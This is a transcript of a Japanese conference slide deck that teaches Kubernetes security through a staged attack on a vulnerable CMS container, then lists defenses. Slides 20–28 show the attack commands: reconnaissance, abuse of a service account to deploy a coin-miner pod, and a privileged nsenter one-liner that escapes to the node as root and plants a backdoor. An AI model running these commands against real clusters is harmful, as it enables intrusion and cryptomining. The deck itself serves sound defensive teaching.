Upgrade to Pro — share decks privately, control downloads, hide ads and more …

攻撃しながら考えるKubernetesセキュリティ / Considering Kubernetes Security While Attacking 2

Dd7fa413be25d8672c03a487db6a8fe6?s=47 fujiihda
January 15, 2021

攻撃しながら考えるKubernetesセキュリティ / Considering Kubernetes Security While Attacking 2

WASNight 2021 Kick-off OWASP Session

Dd7fa413be25d8672c03a487db6a8fe6?s=128

fujiihda

January 15, 2021
Tweet

Transcript

  1. @fujiihda 2021/1/15 WASNight 2021 Kick-off OWASP Session 攻撃しながら考えるKubernetes セキュリティ

  2. 2 2 @fujiihda Whois • 役割:インフラエンジニア • 仕事:k8sを活用する組織のリサーチチーム • 経歴:OSS

    → OSとコンテナ → 現職 • 趣味:コミュニティ活動 ゆっきー (Hideyuki Fujii) @fujiihda
  3. 3 @fujiihda の セ キ ュ リ テ ィ を

    完 全 に 理 解 し て し ま っ た か も し れ な い の セ キ ュ リ テ ィ わ か ら な く な っ て き た 全然わからない 俺たちは雰囲気で k8sを以下略 k8s k8s 素 晴 ら し い Falco
  4. 4 4 @fujiihda 本発表はコミュニティの皆さんのセキュリティ 向上を目的としています。 攻撃手法を題材として扱いますが違法なクラッ キングを推進するものではありません。絶対に 悪用しないでください。 また、発表内容は個人の見解です。所属する企 業やコミュニティの立場、意見を代表するもの

    ではありません。 【重要】はじめに
  5. 5 @fujiihda 本日の流れ 1. はじめに 2. コンテナセキュリティ基礎 3. シナリオを使ったコンテナへの攻撃と防御

  6. 6 @fujiihda k8sはセキュリティを きちんと考慮されない ままで導入されがち なのでは!?

  7. 7 7 @fujiihda ぜんぜんわからない 俺たちは雰囲気でコンテナをやっている 何も考えずに ← は NG 何も考えずに

    ← は NG 何も考えずに ← は NG
  8. 8 8 @fujiihda ぜんぜんわからない 俺たちは雰囲気でk8sをやっている PodSecurity Policy? Service Account? 特権コンテナ?

    メタデータ アクセス? 脆弱性 診断は?
  9. 9 @fujiihda 皆さんに伝えたいもの • 「これは危険だ」という知識 • 脅威に対する考え方 • コンテナへの攻撃の全体像

  10. 10 @fujiihda コンテナセキュリティ基礎

  11. 11 11 @fujiihda 基本1:コンテナ特有のセキュリティリスクと対策

  12. 12 12 @fujiihda (参考) 各リスクの内訳

  13. 13 13 @fujiihda 基本2:OSとコンテナランタイムの最新化 • OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性もある • システムを構成する要素は脆弱性はツールを使うなどして即把握・即対処

  14. 14 14 @fujiihda 基本3:マルチテナント構成時はリスクを考慮 • コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス • コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を 受けやすい →

    ただし、いまは様々な選択肢が提供されていて改善されつつある (今日はこれらには言及しません)
  15. 15 15 @fujiihda 基本4:ケーパビリティやseccompでAttack Surface最小化 • ケーパビリティ – root権限を目的別に約 30

    個に分割した特権機能群 – 必要に応じて付与 / 剥奪 (デフォルトから剥奪も検討) • seccomp – プロセスが利用できるシステムコールを制限できる – コンテナでは、コンテナ内のプロセスが実行するシステムコール を制限できる – 定義したシステムコールが呼ばれたときの制御を、許可、拒否、 終了などのアクションから選択でき、種類だけでなく、引数との 組み合わせも定義可能 多層防御の考えのもと重ね 掛けを基本として、要件や 粒度に応じて使い分ける でもケーパビリ ティは最小権 限にすべきか なぁ セキュリティ実 践ガイドに詳細 が書いてある
  16. 16 @fujiihda シナリオ: k8s固有のセキュリティ

  17. 17 17 @fujiihda (参考) ここから扱うネタは定番ネタ • 某検索エンジンで 「Kubernetes Attack」 などで検索

  18. 18 18 @fujiihda 防御側 • セキュリティは後回しで、塩漬け文化があり、 – クラウドベンダのマネージドk8s上に – セキュリティ脆弱性がよく話題になるCMSをデプロイした

    – CMSには後日深刻な脆弱性が見つかったが対処していない – CMSはインターネットに公開されている • CMSは付き合いのあるお客様向けの情報発信に使っているものの、 重要度は低く、CMS上には公開情報以外載せていない • コスト優先でマルチテナント構成をとっており、同じNode上に別部門 の管理する 個人情報を含むシステムが動いている
  19. 19 19 @fujiihda (参考) 攻撃側 • 攻撃者種別:スクリプトキディ • 攻撃対象:無差別 (クラウドベンダの利用するIPアドレスレンジを中心に、

    IPアドレスを自動スキャンするツールを使うことで脆弱性のあるIPアドレス に対して無差別に攻撃) • 攻撃手段:既知脆弱性を悪用するツールを用いるのみで高度な技術なし • 攻撃目的:お金 (マイニングと個人情報売買) • 前提条件:CMSの脆弱性をツールで突いてシェルを取った (コンテナのプロセスの権限で任意のコマンドを実行できる)
  20. 20 20 @fujiihda わたしは誰だ… ここはどこだ…… $ id uid=1000(cms) gid=1000(cms) groups=1000(cms)

    $ ps -ef UID PID PPID C STIME TTY TIME CMD cms+ 1 0 0 13:11 ? 00:00:00 /usr/bin/dumb- init /usr/local/sbin/entrypoint.sh cms+ 7 1 0 13:11 ? 00:00:00 node /cms/app cms+ 18 7 0 14:11 pts/0 00:00:00 /bin/bash cms+ 25 18 0 14:47 pts/0 00:00:00 ps -ef $ df -h (省略) tmpfs 3.7G 12K 3.7G 1% /run/secrets/kubernetes.io/serviceaccount (省略)
  21. 21 21 @fujiihda パスワードと/rootへのアクセス $ cat /etc/shadow cat: /etc/shadow: Permission

    denied $ ls -l /root ls: cannot open directory '/root': Permission denied
  22. 22 22 @fujiihda ほう kubeですか たいしたものですね $ cd /tmp; curl

    -Lo amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.9/a micontained-linux-amd64; chmod 755 amicontained; ./amicontained (省略) Container Runtime: kube Has Namespaces: pid: true user: false AppArmor Profile: docker-default (enforce) Capabilities: BOUNDING - > chown dac_override fowner fsetid kill setgid setuid setpcapnet_bind_service net_raw sys_chroot mknod a udit_write setfcap Seccomp: disabled Blocked Syscalls (29): SYSLOG SETUID SETGID SETSID SETREUID SETREGID SETGROUPS SETRESUID SETRESGID VHANGUP PIVOT_ROOT A CCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKU P_DCOOKIE FUTIMESAT UTIMENSAT FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD BPF Looking for Docker.sock
  23. 23 23 @fujiihda 環境変数を見てみる $ env | grep -i kube

    KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1 KUBERNETES_PORT=tcp://10.100.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.100.0.1
  24. 24 24 @fujiihda k8sのバージョンを見てみる $ curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version { "major":

    "1", "minor": "15+", "gitVersion": "v1.15.12-▪▪▪▪▪▪▪▪", "gitCommit": "▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪", "gitTreeState": "clean", "buildDate": "2020-06-01▪▪▪▪▪▪▪▪", "goVersion": "go1.12.17b4", "compiler": "gc", "platform": "linux/amd64" }
  25. 25 25 @fujiihda kubectlしてみる $ export PATH=/tmp:$PATH $ cd /tmp;

    curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.15 .12/bin/linux/amd64/kubectl; chmod 755 kubectl $ kubectl get namespaces Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount :prd:default" cannot list resource "namespaces" in API group "" at the cluster scop e
  26. 26 26 @fujiihda 現在Podを作成できるか $ kubectl auth can-i create pods

    yes
  27. 27 27 @fujiihda 悪意のあるPodを作成 $ kubectl apply -f c0inminer.yaml 悪意のあるyamlを書

    いてPodを作成
  28. 28 28 @fujiihda Nodeに権限昇格してバックドアを作成 $ kubectl run r00tc0ntainer --restart=Never -ti

    --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command": ["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,“ securityContext":{"privileged":true}}]}}’ r00tc0ntainer / # r00tc0ntainer / # docker run -d backd00r Nodeの特権になった あとは個人情報を探 そう (省略) バックドア作成した
  29. 29 29 @fujiihda なにをされたのか • アプリケーションの脆弱性を悪用されてシェルを取られた (任意コード実行可能だった) • Service Accountを悪用されて、k8sにマイニング用のPodを建てられた

    • Service Accountを悪用されて、k8sにホストのroot権限を持つコンテナを 建てられた (権限昇格) – そしてバックドアを仕込まれた • (今日のデモ内では攻撃されなかったが) 攻撃者が同じNode上の 他のコンテナに入っている個人情報にアクセス可能になった
  30. 30 30 @fujiihda なぜ攻撃が成立したか • コンテナとして動かしていたアプリケーションに任意の コード実行の脆弱性があった • k8sの各種機能が適切に設定されていなかった –

    Service Accountが最小権限に設定されていなかった – コンテナ内でできることが限定されていなかった – 特権コンテナが禁止されていなかった – あらかじめ許可されていないコンテナが起動できた • 脆弱なコンテナがマルチテナント構成の同一ホスト上あった
  31. 31 @fujiihda 今回の原因はk8sの 設定不備です。k8sの 脆弱性ではありません。

  32. 32 32 @fujiihda 対策 • (今回は悪用されなかったが) Kubernetesは最新化 • k8sの各種機能を適切に設定してセキュリティを高める –

    Service Accountは最小権限 – コンテナ内でできることは限定する – 特権コンテナはなるべく禁止 – 信頼できるコンテナのみが起動できるようにする • マルチテナントにする際はリスクを考慮してセキュリティ徹底
  33. 33 33 @fujiihda デモに有効と考えるベストプラクティス • アプリの脆弱性を是正 – CI/CDの仕組みのなかに脆弱性診断を導入 – 環境変数暗号化

    • Service Accountは最小権限 • コンテナ内でできることを限定 – コンテナ内で ps や curl などのできないコンテナイメージの採用 – 書き込みが不要なコンテナであればリードオンリー • PodSecurityPolicy設定 – (特別な理由がない限り) 特権コンテナ基本禁止 – 最小権限を徹底してコンテナ作成などの不要な権限を与えない • あらかじめ許可された信頼できるコンテナのみに起動を許可 – Binary Authorizationなどの仕組みの導入 重要!
  34. 34 34 @fujiihda 個人的ベストプラクティスの一部 (前ページ掲載除く) • メタデータアクセス制御 (169.254.169.254 アクセス禁止) •

    Namespaceは専門知識を持った人が対応 • RBACも専門知識を持った人が対応 • 必要な通信のみを許可 • 不要ならホストのボリュームをマウントしない • 徹底的にIaCで自動化 • 高いセキュリティレベルが求められるならクラスタ分割検討 • 悪意を即検知して通知/是正するセキュリティの仕組みの導入 重要!
  35. 35 @fujiihda 責任共有モデルでは k8sを適切に設定する のはユーザの責任

  36. 36 @fujiihda • アプリからk8sに至るまでを最新化 • k8sのセキュリティを高める機能を適切に使用 • ベストプラクティスはひととおり全部抑える • k8sのセキュリティを設定する責任はユーザ

    • マルチテナントはセキュリティリスクを考慮 まとめ
  37. 37 37 @fujiihda Reference • 書籍:Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド • 書籍:Kubernetes Security •

    書籍:Container Security • KubeCon NA 2019 CTF: https://securekubernetes.com/ • Kubernetes Security for Microservices: https://speakerdeck.com/rung/kubernetes-security-for-microservices/ • Threat matrix for Kubernetes: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ • NIST SP800-190 Application Container Security Guide: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf • CIS Benchmark原本: https://www.cisecurity.org/benchmark/kubernetes/ • CIS Benchmark GKE版: https://www.cisecurity.org/cis-benchmarks/ • CIS Benchmark EKS版: https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark/